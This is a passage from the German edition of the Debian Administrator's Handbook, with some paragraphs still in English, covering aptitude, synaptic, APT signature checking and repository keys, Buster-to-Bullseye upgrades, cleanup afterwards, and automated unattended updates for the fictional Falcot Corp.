aptitude ist ein interaktives Programm, das im Pseudo-Grafikmodus der Konsole benutzt werden kann. Sie können durch eine Liste der installierten und der verfügbaren Pakete blättern, verfügbare Informationen einsehen und Pakete zur Installation oder Deinstallation auswählen. Das Programm wurde für die Nutzung durch Administratoren entworfen, sodass die Standardverhaltensweisen intelligenter als die von apt-get sind und die Oberfläche viel einfacher zu verstehen ist.

Abbildung 6.1. Das aptitude Paketverwaltungsprogramm

Nach dem Start zeigt aptitude eine Paketliste, sortiert nach Status (installiert, nicht installiert, installiert aber nicht auf den Spiegelservern verfügbar, andere Anzeigeoptionen, virtuelle Pakete und neue Pakete, die kürzlich auf den Spiegelservern entdeckt wurden). Sie können verschiedene Ansichten nutzen, um die Liste thematisch zu durchsuchen. In jedem Fall zeigt aptitude eine Liste, die Kategorien und Pakete kombiniert. Kategorien sind in einer Baumstruktur organisiert, deren Äste mit den Tastenkombinationen Eingabe, [ und ] auf- und zugeklappt werden können. + wählt ein Paket zur Installation aus, - wählt es zum Entfernen aus und _ zum vollständigen Löschen (Hinweis: Diese Tastenkombinationen können auch auf Kategorien angewendet werden, wobei die jeweilige Aktion dann auf alle Pakete der Kategorie angewendet wird). u aktualisiert die Liste der verfügbaren Pakete und Shift+u bereitet eine globale Systemaktualisierung vor. g wechselt in eine Übersicht der anstehenden Änderungen (ein weiterer Druck auf g führt die Änderungen durch) und q beendet die aktuelle Ansicht. Wenn Sie dies in der initialen Ansicht tun, beendet dies aptitude.

DOKUMENTATION aptitude

Dieser Abschnitt behandelt nicht die näheren Einzelheiten der Verwendung von aptitude. Er konzentriert sich vielmehr darauf, Ihnen ein Survival-Kit zu geben, damit Sie es benutzen können. Er ist jedoch gut dokumentiert und wir empfehlen Ihnen, das vollständige Handbuch zu verwenden, das im Paket aptitude-doc-de (siehe /usr/share/doc/aptitude/html/de/index.html) oder unter https://www.debian.org/doc/manuals/aptitude/ verfügbar ist.

Um nach einem Paket zu suchen, tippen Sie /, gefolgt von einem Suchmuster. Dieses Muster wird mit den Paketnamen verglichen, kann aber auch auf die Beschreibung angewendet werden (durch ein vorangestelltes ~d), auf den Bereich (durch ein vorangestelltes ~s) oder auf ein anderes Kriterium, wie in der Dokumentation genauer beschrieben. Mit den gleichen Mustern können Sie die Liste der angezeigten Pakete filtern: Drücken Sie die l-Taste (wie in limit) und geben Sie das Muster ein.

Managing the “automatic flag” of Debian packages (see Abschnitt 6.2.7, „Automatisch installierte Pakete nachverfolgen“) is a breeze with aptitude. It is possible to browse the list of installed packages and mark packages as automatic with Shift+m or to remove the mark with the m key. “Automatic packages” are displayed with an “A” in the list of packages. This feature also offers a simple way to visualize the packages in use on a machine, without all the libraries and dependencies that you don't really care about. The related pattern that can be used with l (to activate the filter mode) is ~i!~M. It specifies that you only want to see installed packages (~i) not marked as automatic (!~M).

PROGRAMM aptitude auf der Befehlszeile nutzen

Die meisten Eigenschaften von aptitude sind sowohl über die interaktive Schnittstelle als auch über die Kommandozeile verfügbar. Diese Kommandos werden regelmäßigen Nutzern von apt-get und apt-cache bekannt vorkommen.

Die fortgeschrittenen Eigenschaften von aptitude sind auch auf der Kommandozeile verfügbar. Sie können die selben Paket-Suchmuster wie in der interaktiven Version nutzen. Wenn Sie beispielsweise die Liste der manuell installierten Paketen bereinigen wollen und wenn Sie wissen, dass keines der lokal installierten Programme bestimmte Bibliotheken oder Perl-Module benötigt, dann können Sie diese Pakete mit einem einzigen Kommando als "automatisch installiert" markieren:

# aptitude markauto '~slibs|~sperl'

Hier offenbart sich die Mächtigkeit der Mustersuche von aptitude, durch die es möglich ist, alle Pakete der Sektionen libs und perl gleichzeitig auszuwählen.

Beachten Sie: Wenn Pakete als automatisch markiert sind und kein anderes Paket von ihnen abhängt, werden sie bei der nächsten Gelegenheit (nach einer Rückfrage) entfernt.

6.5.1.1. Verwalten von Empfehlungen, Vorschläge und Aufgaben

Eine weitere interessante Eigenschaft von aptitude ist, dass es die Empfehlungen zwischen Paketen berücksichtigt und dabei dem Benutzer trotzdem gestattet von Fall zu Fall die Wahl zu treffen, ausgewählte Pakete nicht zu installieren. Zum Beispiel empfiehlt das Paket gnome (neben anderen) transmission-gtk. Wenn Sie das erste zur Installation auswählen, wird das zweite ebenfalls ausgewählt (und als automatisch installiert markiert, falls es nicht bereits installiert ist). Drücken Sie g, wird dies deutlich: transmission-gtk taucht in der Vorschau der anstehenden Aktionen auf, unter "Pakete, die von anderen Paketen vorgeschlagen werden". Trotzdem bleibt Ihnen die Wahl, das Paket nicht zu installieren, indem Sie es abwählen, bevor Sie die anstehenden Aktionen ausführen lassen.

Beachten Sie, dass die Verfolgung von Empfehlungen nicht bei Aktualisierungen greift. Wenn beispielsweise eine neue Version von gnome ein Paket vorschlägt, das es vorher nicht vorgeschlagen hat, wird dieses neue Paket nicht zur Installation ausgewählt. Es wird allerdings in der Aktualisierungsliste angezeigt, damit der Administrator es trotzdem zur Installation auswählen kann.

Vorschläge zwischen Paketen werden ebenfalls in Betracht gezogen, allerdings angepasst an ihren jeweiligen Status. Beispielsweise schlägt gnome empathy vor, welches dann in der Vorschau (in der Kategorie "Pakete, die von anderen Paketen vorgeschlagen werden") angezeigt wird. So ist es für den Administrator sichtbar und er kann entscheiden, ob er den Vorschlag annimmt oder nicht. Da es sich nur um einen Vorschlag und nicht um eine Abhängigkeit handelt, wird das Paket nicht automatisch ausgewählt – seine Auswahl bedarf eines manuellen Eingriffs seitens des Benutzers (aus diesem Grund wird das Paket auch nicht als automatisch installiert markiert).

Im gleichen Sinn: Beachten Sie, dass aptitude intelligenten Gebrauch vom Aufgaben-Konzept macht (Aufgaben in diesem Kontext sind Programmgruppen für dedizierte Zwecke/Aufgaben). Da Aufgaben (Tasks) als Kategorien in den Paketlisten-Darstellungen angezeigt werden, können Sie entweder eine vollständige Aufgabe zur Installation oder zum Entfernen auswählen, oder Sie können die Paketliste der Aufgabe durchgehen, um eine Untermenge auszuwählen.

6.5.1.2. Bessere Problemlösungs-Algorithmen

To conclude this section, let's note that aptitude has more elaborate algorithms compared to apt-get when it comes to resolving difficult situations. When a set of actions is requested and when these combined actions would lead to an incoherent system, aptitude evaluates several possible scenarios and presents them in order of decreasing relevance. However, these algorithms are not fail-proof. Fortunately there is always the possibility to manually select the actions to perform. When the currently selected actions lead to contradictions, the upper part of the screen indicates a number of “broken” packages (and you can directly navigate to those packages by pressing b). It is then possible to manually build a solution for the problems found. In particular, you can get access to the different available versions by simply selecting the package with Enter. If the selection of one of these versions solves the problem, you should not hesitate to use the function. When the number of broken packages gets down to zero, you can safely go to the summary screen of pending actions for a last check before you apply them.

HINWEIS Die Protokolldatei von aptitude

Ebenso wie dpkg führt aptitude in seiner Protokolldatei (/var/log/aptitude) Buch über ausgeführte Aktionen. Da beide Programme auf sehr unterschiedlichen Ebenen arbeiten, finden sich in den Protokolldateien beider Programme unterschiedliche Informationen. Während dpkg alle auf individuelle Pakete angewendeten Operationen Schritt für Schritt protokolliert, stellt aptitude eine breitere Sicht auf einer höheren Ebene, wie zum Beispiel eine systemweite Aktualisierung, dar.

Beware, this logfile only contains a summary of operations performed by aptitude. If other frontends (or even dpkg itself) are occasionally used, then aptitude's log will only contain a partial view of the operations, so you can't rely on it to build a trustworthy history of the system.

6.5.2. synaptic

synaptic ist eine grafische Paketverwaltung für Debian mit einer klaren und effizienten Benutzeroberfläche auf Basis von GTK+/GNOME. Die vielen gebrauchsfertigen Filter bieten einen schnellen Zugriff auf neu verfügbare Pakete, installierte Pakete, aktualisierbare Pakete, überflüssige Pakete usw. Während Sie diese Listen durchgehen, können sie Operationen auswählen, die auf die Pakete angewendet werden (installieren, aktualisieren, entfernen, vollständig löschen). Diese Operationen werden nicht umgehend ausgeführt, sondern in eine Aufgabenliste aufgenommen. Ein einzelner Klick auf eine Schaltfläche bestätigt die Operationen, die dann in einem Rutsch ausgeführt werden.

Abbildung 6.2. synaptic Paketverwaltungsprogramm

6.6. Die Echtheit eines Paketes prüfen

Sicherheit ist für die Administratoren der Falcot Corp sehr wichtig. Dementsprechend müssen sie sicherstellen, dass sie ausschließlich Pakete installieren, die garantiert von Debian stammen und die unterwegs nicht verändert wurden. Ein Cracker könnte versuchen, Schadcode in ein ansonsten rechtmäßiges Paket einzuschleusen. Ein solches Paket, falls installiert, könnte alles tun, was der Cracker vorgesehen hat, einschließlich der Preisgabe von Passwörtern oder vertraulichen Informationen. Um dies zu verhindern, stellt Debian fälschungssichere Siegel bereit, die – zum Zeitpunkt der Installation – gewährleisten, dass ein Paket wirklich von seinem offiziellen Betreuer stammt und nicht durch einen Dritten verändert wurde.

The seal works with a chain of cryptographic hashes and a signature and is explained in detail in apt-secure(8). Starting with Debian 10 Buster the signed file is the InRelease file, provided by the Debian mirrors. There is also a legacy file called Release. Both contain a list of the Packages files (including their compressed forms, Packages.gz and Packages.xz, and the incremental versions), along with their SHA256 hashes, which ensures that the files haven't been tampered with. These Packages files contain a list of the Debian packages available on the mirror, along with their hashes, which ensures in turn that the contents of the packages themselves haven't been altered either. The difference between InRelease and Release is that the former is cryptographically signed in-line, whereas the latter provides a detached signature in the form of the file Release.gpg.

ANMERKUNG Die Zukunft von Release und Release.gpg

After the release of Debian 10 Buster the intention has been announced to remove support for the legacy files Release and Release.gpg in APT, used since version 0.6, which introduced support for an archive authentication.

APT needs a set of trusted GnuPG public keys to verify signatures in the InRelease and Release.gpg files available on the mirrors. It gets them from files in /etc/apt/trusted.gpg.d/ and from the /etc/apt/trusted.gpg keyring (managed by the apt-key command). The official Debian keys are provided and kept up-to-date by the debian-archive-keyring package which puts them in /etc/apt/trusted.gpg.d/:

# ls /etc/apt/trusted.gpg.d/ debian-archive-bullseye-automatic.gpg debian-archive-bullseye-security-automatic.gpg debian-archive-bullseye-stable.gpg debian-archive-buster-automatic.gpg debian-archive-buster-security-automatic.gpg debian-archive-buster-stable.gpg debian-archive-stretch-automatic.gpg debian-archive-stretch-security-automatic.gpg debian-archive-stretch-stable.gpg

IN DER PRAXIS Vertrauenswürdige Schlüssel hinzufügen

Wenn eine Paketquellen von Dritten zur sources.listDatei hinzugefügt wird, muss APT angewiesen werdn, dem zugehörigen GPG-Authentifizierungsschlüssel der Paketquelle zu vertrauen (Andernfalls wird es sich ständig darüber beklagen, dass es die Authentizität der Pakete aus dieser Quelle nicht gewährleisten kann). Der erste Schritt ist natürlich, den öffentlichen GPG-Schlüssel der Paketquelle zu besorgen, der meist in Form einer kleinen Textdatei bereitgestellt wird. In den folgenden Beispielen werden wir sie key.asc nennen.

To add the key to APT's trusted keyring, the administrator can just put it in a *.gpg file in /etc/apt/trusted.gpg.d/ (*.asc files are discouraged and can cause problems). This is supported since Debian Stretch. With older releases, you had to run apt-key add < key.asc, which is considered obsolete already.

While this is very common behavior, it also creates a possible issue. APT does not know which key belongs to which repository. If one of the keys in APT's keyring matches the signature of an archive, APT considers the archive as authenticated. Once a key has been added to the trusted keyring, a malicious attacker could actually provide its own "version" of a Debian mirror signed by the same key. It might therefor actually be better to put the key as *.gpg file into /usr/share/keyrings/ and use the Signed-By field in sources.list for third party repositories as shown in the example below.

Imagine, that the Falcot Corp. runs their own public repository and you want to use it. They have signed it and provide a publicly available key(ring) as well to download. To restrict the key to the repository, you can simply do this:

$ sudo wget -O falcot-keyring.gpg -P /usr/share/keyrings https://packages.falcot.com/debian/repository.gpg

deb [ signed-by=/usr/share/keyrings/falcot-keyring.gpg ] https://packages.falcot.com/debian bullseye main

Beware that adding and using third party repositories always poses a security and stability risk!

Once the appropriate keys are in the keyring, APT will check the signatures before any risky operation, so that frontends will display a warning if asked to install a package whose authenticity can't be ascertained.

Note, that binary packages are usually not signed. The integrity of a package can only be confirmed by checking its hashsums against a trusted (and possibly signed) hashsum source.

SPECIFIC CASE Unsigned repositories

While in general unsigned repositories shouldn't be used, some users might still require them, for example to provide some locally built packages. APT can be forced to accept such a repository by prepending the repository URL using allow-insecure=yes or trusted=yes. We will demonstrate it using the example from Abschnitt 15.3, „Ein Paket-Depot für APT erstellen“:

deb [ trusted=yes ] http://packages.falcot.com/ updates/ deb [ trusted=yes ] http://packages.falcot.com/ internal/

6.7. Von einer Stable Distribution auf die nächste aktualisieren

Eine der bekanntesten Eigenschaften von Debian ist die Fähigkeit, ein installiertes System von einer Stable Veröffentlichung auf die nächste aktualisieren zu können: dist-upgrade – ein wohlbekannter Ausdruck – hat erheblich zum Ansehen des Projekts beigetragen. Mit ein paar Vorkehrungen dauert die Aktualisierung eines Computers zwischen wenigen Minuten bis zu einigen Duzend Minuen, abhängig von der Downloadgeschwindigkeit der Paketquellen.

6.7.1. Empfohlene Vorgehensweise

Da Debian einiges an Zeit zur Weiterentwicklung zwischen den Stable Veröffentlichungen hat, sollten Sie vor einer Aktualisierung die Veröffentlichungshinweise lesen.

ZURÜCK ZU DEN GRUNDLAGEN Veröffentlichungshinweise

Die Veröffentlichungshinweise für ein Betriebssystem (oder generell für jede Software) geben einen Überblick über die Software mit Details zu den Besonderheiten der Version. Im Vergleich mit der vollständigen Dokumentation sind diese Dokumente eher kurz und sie führen die seit der letzten Version neu hinzugekommenen Eigenschaften auf. Ebenfalls enthalten sie Einzelheiten zur Aktualisierungsvorgehensweise, Warnungen für Benutzer von vorigen Versionen und manchmal ein Fehlerverzeichnis.

Release notes for Debian are available online: the release notes for the current stable release have a dedicated URL, while older release notes can be found with their codenames:

→ https://www.debian.org/releases/stable/releasenotes

→ https://www.debian.org/releases/buster/releasenotes

In this section, we will focus on upgrading a Buster system to Bullseye. This is a major operation on a system; as such, it is never 100% risk-free, and should not be attempted before all important data has been backed up.

Another good habit which makes the upgrade easier (and shorter) is to tidy your installed packages and keep only the ones that are really needed. Helpful tools to do that include aptitude, deborphan, debfoster, and apt-show-versions (see Abschnitt 6.2.7, „Automatisch installierte Pakete nachverfolgen“). For example, you can use the following command, and then use aptitude's interactive mode to double check and fine-tune the scheduled removals:

# deborphan | xargs aptitude --schedule-only remove

TIPP Suche nach geänderten Dateien

Der Befehl debsums kann überprüfen, ob Dateien auf dem lokalen System, die Teil eines installierten Pakets sind, geändert wurden. Er verwendet einen einfachen Hashsummen-Algorithmus und die Informationen in /var/lib/dpkg/info/Paket.md5sums (siehe Abschnitt 5.2.3, „Checksums, List of Configuration Files, et al.“). Um alle geänderten Konfigurationsdateien zu finden, starten Sie debsums -ec. Um das gesamte System zu überprüfen, führen Sie debsums -c aus.

Now for the upgrading itself. First, you need to change the /etc/apt/sources.list file to tell APT to get its packages from Bullseye instead of Buster. If the file only contains references to Stable rather than explicit codenames, the change isn't even required, since Stable always refers to the latest released version of Debian. In both cases, the database of available packages must be refreshed with the apt update command or the refresh button in synaptic (Abschnitt 6.2.1, „Initialisierung“).

ANMERKUNG Änderungen der Repository-Informationen

Wenn eine neue stabile Version von Debian veröffentlicht wird, ändern sich einige Felder in den Release und InRelease-Dateien eines Repositorys, wie z.B. das Suite-Feld. Wenn dies geschieht, wird das Herunterladen von Daten aus dem Repository abgelehnt, bis die Änderung bestätigt ist, um sicherzustellen, dass der Benutzer darauf vorbereitet ist. Um die Änderung zu bestätigen, verwenden Sie die Optionen --allow-release-release-info-change oder --allow-release-info-change-field für apt-get oder die Konfigurationsoption Acquire::AllowReleaseInfoChange.

Once these new package sources are registered, you should first do a minimal upgrade with apt upgrade et al. as described in Abschnitt 6.2.3, „Das System aktualisieren“. By doing the upgrade in two steps, we ease the job of the package management tools and often ensure that we have the latest versions of those, which might have accumulated bugfixes and improvements required to complete the full distribution upgrade.

Once this first upgrade is done, it is time to handle the upgrade itself, either with apt full-upgrade, aptitude, or synaptic (Abschnitt 6.7, „Von einer Stable Distribution auf die nächste aktualisieren“). You should carefully check the suggested actions before applying them: you might want to add suggested packages or deselect packages which are only recommended and known not to be useful. In any case, the frontend should come up with a scenario ending in a coherent and up-to-date Bullseye system. Then, all you need is to do is wait while the required packages are downloaded, answer the debconf questions and possibly those about locally modified configuration files, and sit back while APT does its magic.

6.7.2. Problembehandlung nach einer Aktualisierung

Trotz der Anstrengungen der Debian-Betreuer verläuft eine größere Systemaktualisierung nicht immer so problemlos, wie man es sich wünschen würde. Neue Softwareversionen könnten inkompatibel zu ihren Vorgängern sein (beispielsweise, weil sich Standardverhaltensweisen oder Datenformate geändert haben). Auch könnten sich Fehler durch die, jeder Debian Veröffentlichung vorangehende, Testphase hindurch gemogelt haben.

Um solche Probleme vorwegzunehmen, können Sie das Paket apt-listchanges installieren, welches Informationen über mögliche Probleme zu Beginn jeder Paketaktualisierung einblendet. Diese Informationen werden von den Paketbetreuern zusammen- und in /usr/share/doc/Paket/NEWS.Debian Dateien zum Nutzen der Anwender bereitgestellt. Das Lesen dieser Dateien (möglicherweise mittels apt-listchanges) sollte helfen, Sie vor bösen Überraschungen zu bewahren.

You might sometimes find that the new version of a software doesn't work at all. This generally happens if the application isn't particularly popular and hasn't been tested enough; a last-minute update can also introduce regressions which are only found after the stable release. In both cases, the first thing to do is to have a look at the bug tracking system at https://bugs.debian.org/package, and check whether the problem has already been reported. If this is case, it will be also listed before the upgrade begins if you have apt-listbugs installed. If it hasn't, you should report it yourself with reportbug. If it is already known, the bug report and the associated messages are usually an excellent source of information related to the bug:

manchmal existiert bereits ein Patch und ist im Fehlerbericht verfügbar. Sie können dann die korrigierte Version des defekten Pakets lokal übersetzen (siehe Abschnitt 15.1, „Ein Paket aus seinen Quellen neu erstellen“);

in anderen Fällen könnten andere Anwender bereits eine Übergangslösung für das Problem gefunden und ihre Erkenntnisse in den Antworten zum Fehlerbericht geteilt haben;

und in wieder anderen Fällen könnte der Paketbetreuer bereits ein korrigiertes Paket gebaut und veröffentlicht haben.

Abhängig von der Schwere eines Fehlers kann eine neue Paketversion speziell für die nächste Ausgabe der Stable Veröffentlichung vorbereitet werden. Sollte dies der Fall sein, wird das korrigierte Paket im Bereich proposed-updates der Debian Spiegelserver bereitgestellt (siehe Abschnitt 6.1.2.3, „Proposed Updates“). Der entsprechende Eintrag kann dann temporär der Datei sources.list hinzugefügt werden. Aktualisierte Pakete können mit apt oder aptitude installiert werden.

Manchmal ist das korrigierte Paket nicht in diesem Bereich verfügbar, weil es noch von den Stable-Release-Betreuern geprüft werden muss. Sie können auf deren Webseite prüfen, ob dies der Fall ist. Dort aufgeführte Pakete sind noch nicht verfügbar, aber wenigstens wissen Sie, dass der Veröffentlichungsprozess läuft.

→ https://release.debian.org/proposed-updates/stable.html

6.7.3. Aufräumen nach einem Upgrade

APT sorgt in der Regel für ein sauberes Upgrade, indem es neue und aktualisierte Abhängigkeiten einzieht oder Pakete entfernt, die Konflikte verursachen. Aber selbst wenn es ein so großartiges Werkzeug ist, kann es nicht alle Aufgaben abdecken, mit denen Benutzer und Administratoren nach einem Upgrade konfrontiert werden, da sie eine menschliche Entscheidung erfordern.

6.7.3.1. Aus dem Debian-Archiv entfernte Pakete

Sometimes the Debian ftpmasters remove packages from the Debian archive, because they contain release critical bugs, were abandoned by their upstream author or their package maintainer, or simply reached their end of life. In this case a newer Debian release does not ship the package anymore. To find all packages, which do not have a package source, use the apt-show-versions command:

$ apt-show-versions | grep "Keine verfügbare Version"

Ein ähnliches Ergebnis kann durch aptitude search ~o erzielt werden. Wenn die gefundenen Pakete nicht mehr benötigt werden, sollten sie aus dem System entfernt werden, da sie nicht mehr wegen kritischer oder sicherheitsbezogener Fehler aktualisiert werden.

6.7.3.2. Dummy- und Übergangspakete

Manchmal kann es notwendig sein, dass ein Paket einen neuen Namen erhält. In diesem Fall wird oft das alte Paket als (fast) leeres Paket beibehalten, wird vom neuen Paket abhängig gemacht und es werden nur die obligatorischen Dateien in /usr/share/doc/Paket/ installiert. Solche Pakete werden als "Dummy"- oder "Übergangs"-Pakete bezeichnet. Wenn der verantwortliche Paketbetreuer auch den Abschnitt dieses Pakets in oldlibs geändert hat, dann können Werkzeuge wie aptitude, deboprhan oder debfoster (siehe Seitenleiste ALTERNATIVE deborphan und debfoster) diese Pakete aufgreifen und ihre Entfernung vorschlagen.

Leider gibt es derzeit keine narrensichere Methode, um sicherzustellen, dass diese Pakete von den oben genannten Werkzeugen automatisch entfernt oder ausgewählt werden. Eine Möglichkeit zu überprüfen, ob das System noch einige dieser Pakete installiert hat, besteht darin, die Paketbeschreibungen der installierten Pakete durchzusehen und dann die Ergebnisse zu überprüfen. Achten Sie darauf, die Ergebnisse nicht für die automatische Entfernung einzuplanen, da diese Methode zu falsch positiven Ergebnissen führen kann:

$ dpkg -l | grep ^ii | grep -i -E "(transition|dummy)"

Da das neue Paket als Abhängigkeit des Übergangspakets eingezogen ist, wird es normalerweise als automatisch installiert markiert und könnte zur Entfernung eingeplant werden, wenn Sie versuchen, das Übergangspaket von Ihrem System zu bereinigen. In diesem Fall können Sie einen der beiden in den Seitenleisten TIPP Entfernen und installieren in einem Durchgang und Abschnitt 6.2.7, „Automatisch installierte Pakete nachverfolgen“ beschriebenen Ansätze verwenden, um das Übergangspaket selektiv zu entfernen.

6.7.3.3. Alte oder unbenutzte Konfigurationsdateien

If the upgrade was successful there might be some configuration file cruft, either from dpkg (see Abschnitt 5.2.3, „Checksums, List of Configuration Files, et al.“), ucf or from removed packages. The latter can be purged by using apt autoremove --purge. The configuration files that were handled by dpkg or ucf during the upgrade process have left some counterparts with a dedicated suffix, e.g. .dpkg-dist, .dpkg-old, .ucf-old. Using the find or locate command can help to track them down. If they are no longer of any use, they can be deleted.

6.7.3.4. Dateien, die keinem Paket gehören

Die Debian-Richtlinie verlangt, dass Pakete keine Dateien hinterlassen, wenn sie bereinigt werden. Die Verletzung dieses Prinzips ist ein ernster Fehler und Sie werden ihm nur selten begegnen. Wenn doch, melden Sie ihn; und wenn Sie neugierig sind, können Sie das Paket cruft oder cruft-ng verwenden, um Ihr System auf Dateien zu überprüfen, die keinem Paket gehören.

6.8. Ein System aktuell halten

Die Debian-Distribution ist dynamisch und ständigen Änderungen unterworfen. Die meisten Änderungen werden in den Testing- und Unstable-Versionen vorgenommen, aber selbst Stable wird ab und an aktualisiert, hauptsächlich handelt es sich dabei um sicherheitsrelevante Korrekturen. Egal, welche Debian-Version auf dem System läuft, es ist immer ratsam sie aktuell zu halten, um von den neuesten Entwicklungen und Korrekturen zu profitieren.

Natürlich ist es möglich, regelmäßig ein Programm auszuführen, das nach verfügbaren Aktualisierungen sucht und diese installiert. Allerdings ist eine solch wiederkehrende Aufgabe mühsam, speziell dann, wenn sie auf vielen Maschinen ausgeführt werden muss. Glücklicherweise lassen sich solch lästige Aufgaben teilweise automatisieren, eine Reihe von Werkzeugen dazu wurde bereits entwickelt.

Das erste dieser Werkzeuge ist apticron im Paket gleichen Namens. Seine Hauptaufgabe ist, täglich ein Skript (via cron) auszuführen. Das Skript aktualisiert die Liste der verfügbaren Pakete und schickt, falls ein installiertes Paket nicht in der aktuellsten Version vorliegt, eine E-Mail mit der Liste dieser Pakete zusammen mit den Änderungen in den neuen Versionen. Offenkundig richtet sich dieses Paket an Anwender von Debian Stable, da tägliche E-Mails für die sich häufiger ändernden Versionen von Debian doch sehr lang würden. Sind Aktualisierungen verfügbar, lädt apticron sie automatisch herunter. Es installiert sie nicht – das ist dem Administrator überlassen – aber dass die Pakete bereits heruntergeladen und lokal verfügbar (im Zwischenspeicher von APT) sind, beschleunigt die Aufgabe.

Administratoren, die für mehrere Computer zuständig sind, werden es zweifellos zu schätzen wissen, über anstehende Upgrades informiert zu werden, aber die Upgrades selbst sind immer noch genauso mühsam wie früher. Regelmäßige Upgrades können aktiviert werden: Es wird eine systemd Timer-Unit oder cron verwendet. Wenn systemd nicht installiert ist, ist das Skript /etc/cron.daily/apt-compat (im Paket apt) sehr nützlich. Dieses Skript wird täglich (und nicht interaktiv) von cron ausgeführt. Verwenden Sie APT-Konfigurationsvariablen, um das Verhalten zu steuern (die daher in einer Datei /etc/apt/apt.conf.d/10periodic gespeichert sind). Die wichtigsten Variablen sind:

APT::Periodic::Update-Package-Lists

Diese Option erlaubt es Ihnen, die Frequenz (in Tagen) festzulegen mit der die Paketlisten aktualisiert werden. Anwender von apticron benötigen diese Variable nicht, da apticron diese Aufgabe selbst übernimmt.

APT::Periodic::Download-Upgradeable-Packages

Auch diese Option legt die Frequenz (in Tagen) fest, diesmal für das Herunterladen der Pakete. Und wieder benötigen Anwender von apticron sie nicht.

APT::Periodic::AutocleanInterval

Die Option deckt ein Merkmal ab, über das apticron nicht verfügt. Sie bestimmt, wie häufig veraltete Pakete (die von keiner Veröffentlichung mehr referenziert werden) aus dem Zwischenspeicher von APT entfernt werden. Dies hält den Zwischenspeicher von APT auf einer sinnvollen Größe und entlastet Sie davon, sich Gedanken um diese Aufgabe machen zu müssen.

APT::Periodic::Unattended-Upgrade

Wenn diese Option aktiviert wurde, führt das tägliche Script den Befehl unattended-upgrade (aus dem Paket unattended-upgrades) aus. Wie der Name erwarten lässt, automatisiert es den Upgrade-Prozess für einige Pakete (in der Voreinstellung sind dies Security-Pakete, kann aber über /etc/apt/apt.conf.d/50unattended-upgrades bestimmt werden). Beachten Sie, dass dies auch über dpkg-reconfigure -plow unattended-upgrades konfiguriert werden kann. Wenn apt-listbugs installiert ist, wird ein automatisches Upgrade von Paketen verhindert, die von einem bereits gemeldeten schweren oder schwerwiegenden Fehler betroffen sind.

Andere Optionen gestatten es Ihnen, das Aufräumen des Zwischenspeichers gezielter zu steuern. Diese Optionen werden hier nicht aufgeführt, werden aber im Skript /usr/lib/apt/apt.systemd.daily beschrieben.

Diese Hilfsprogramme funktionieren sehr gut für Server, aber Desktop-Benutzer bevorzugen im Allgemeinen ein interaktives System. Das Paket gnome-software stellt im Infobereich von Desktop-Umgebungen ein Symbol zur Verfügung, wenn Aktualisierungen verfügbar sind; durch Klicken auf dieses Symbol wird dann eine Oberfläche zur Durchführung von Aktualisierungen angezeigt. Sie können verfügbare Aktualisierungen durchblättern, die Kurzbeschreibung der relevanten Pakete und die entsprechenden changelog-Einträge lesen und von Fall zu Fall auswählen, ob die Aktualisierung angewendet werden soll oder nicht.

Abbildung 6.3. Aktualisieren mit gpk-update-viewer

Dieses Werkzeug ist auf dem Standard-GNOME-Desktop nicht mehr installiert. Die neue Philosophie ist, dass Sicherheitsupdates automatisch installiert werden sollten, entweder im Hintergrund oder vorzugsweise beim Herunterfahren des Computers, um keine laufende Anwendung zu verwirren.

6.9. Automatische Aktualisierungen

Da Falcot Corp über viele Rechner aber nur über wenig IT-Personal verfügt, versuchen die Administratoren alles so weit wie möglich zu automatisieren. Die für diese Prozesse verantwortlichen Programme müssen deshalb ohne Benutzereingriffe ablaufen.

6.9.1. dpkg konfigurieren

Wie bereits erwähnt (siehe Seitenleiste WEITERE SCHRITTE Die Fragen zur Konfigurationsdatei vermeiden), kann dpkg angewiesen werden, keine Bestätigung vor dem Ersetzen einer Konfigurationsdatei einzuholen (mittels der Option --force-confdef --force-confold). Indes können Interaktionen drei andere Ursachen haben: Einige kommen von APT selbst, andere handhabt debconf und wieder andere kommen von der Befehlszeile ausgelöst durch Paket-Konfigurationsskripte (manchmal von ucf behandelt).

6.9.2. APT konfigurieren

Im Falle von APT ist es einfach: die -y Option (oder --assume-yes) weist APT an, "yes" als Antwort auf alle Rückfragen anzunehmen.

6.9.3. debconf konfigurieren

Für debconf Bedarf es mehr Details. Das Programm war von Beginn an ausgelegt, die Relevanz und die Menge der Rückfragen an den Anwender sowie die Art, wie sie ihm präsentiert werden, zu kontrollieren. Aus diesem Grund fordert seine Konfiguration minimale Priorität für Rückfragen, nur Fragen oberhalb der minimalen Priorität werden eingeblendet. Für Rückfragen, die übersprungen werden, nimmt debconf die (vom Paketbetreuer festgelegte) Standardantwort an.

The other relevant configuration element is the interface used by the frontend. If you choose noninteractive out of the choices, all user interaction is disabled. If a package tries to display an informative note, it will be sent to the administrator by email.

Um debconf umzukonfigurieren, nutzen Sie das Werkzeug dpkg-reconfigure aus dem Paket debconf; das passende Kommando ist dpkg-reconfigure debconf. Beachten Sie, dass Werte aus der Konfigurationsdatei bei Bedarf mit Umgebungsvariablen temporär übersteuert werden können (beispielsweise steuert DEBIAN_FRONTEND die Schnittstelle, wie auf der debconf(7) Handbuchseite beschrieben).

6.9.4. Interaktiver Umgang mit der Kommandozeile

Die letzte Interaktionsquelle, die am schwersten los zu werdende, sind die von dpkg ausgeführten Konfigurationsskripte. Unglücklicherweise gibt es dafür keine Standardlösung.

Die gebräuchlichste Vorgehensweise ist, den leeren Inhalt von /dev/null mit Befehl </dev/null auf die Standardeingabe umzuleiten oder mit einem endlosen Strom von Zeilenvorschüben zu füttern. Keine dieser Methoden ist zu 100 % sicher, aber üblicherweise sorgen sie dafür, dass die Standardantworten gewählt werden, da die meisten Skripte eine ausbleibende Antwort als das Anerkennen der Standardantwort interpretieren.

6.9.5. Die Wunderkombination

Indem die vorangegangenen Elemente miteinander kombiniert werden, ist es möglich, ein kleines aber ziemlich zuverlässiges Skript zu entwerfen, das automatische Aktualisierungen durchführt.

Beispiel 6.5. Automatisches Aktualisierungs-Skript

export DEBIAN_FRONTEND=noninteractive yes '' | apt-get -y -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" dist-upgrade

IN DER PRAXIS Der Fall Falcot Corp

Die Rechner von Falcot haben vielfältige Aufgaben und bilden ein heterogenes System. Aus diesem Grund wählen die Administratoren die am besten geeignete Lösung für jeden Rechner.

In practice, the servers running Bullseye are configured with the “miracle combination” above, and are kept up to date automatically. Only the most critical servers (the firewalls, for instances) are set up with apticron, so that upgrades always happen under the supervision of an administrator.

The office workstations in the administrative services also run Bullseye, but they are equipped with gnome-packagekit, so that users trigger the upgrades themselves. The rationale for this decision is that if upgrades happen without an explicit action, the behavior of the computer might change unexpectedly, which could cause confusion for the main users.

